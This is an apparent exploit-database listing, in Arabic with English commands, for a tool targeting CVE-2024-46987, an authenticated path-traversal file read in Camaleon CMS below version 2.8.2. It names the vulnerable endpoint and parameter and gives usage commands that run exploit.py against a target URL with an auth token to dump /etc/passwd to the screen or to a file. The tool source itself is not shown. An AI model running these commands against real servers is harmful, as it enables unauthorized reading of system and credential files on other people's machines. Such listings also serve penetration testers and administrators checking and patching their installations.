## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RIVAL420-CVE-2024-46987
# CVE-2024-46987 - تضمين الملفات المحلي في Camaleon CMS
استغلال تضمين الملفات المحلي (LFI) الموثّق لـ Camaleon CMS.
## الثغرة الأمنية
Camaleon CMS معرض لهجوم LFI موثّق عبر نقطة النهاية `/admin/media/download_private_file`. لا يتم تعقيم معامل `file` بشكل صحيح، مما يسمح بتجاوز المسار لقراءة أي ملفات من الخادم.
## الإصدارات المتأثرة
* Camaleon CMS < 2.8.2
## المتطلبات
root@kitploit:~
pip install requests
## الاستخدام
root@kitploit:~
# Print file to terminal (default)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Save to file
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt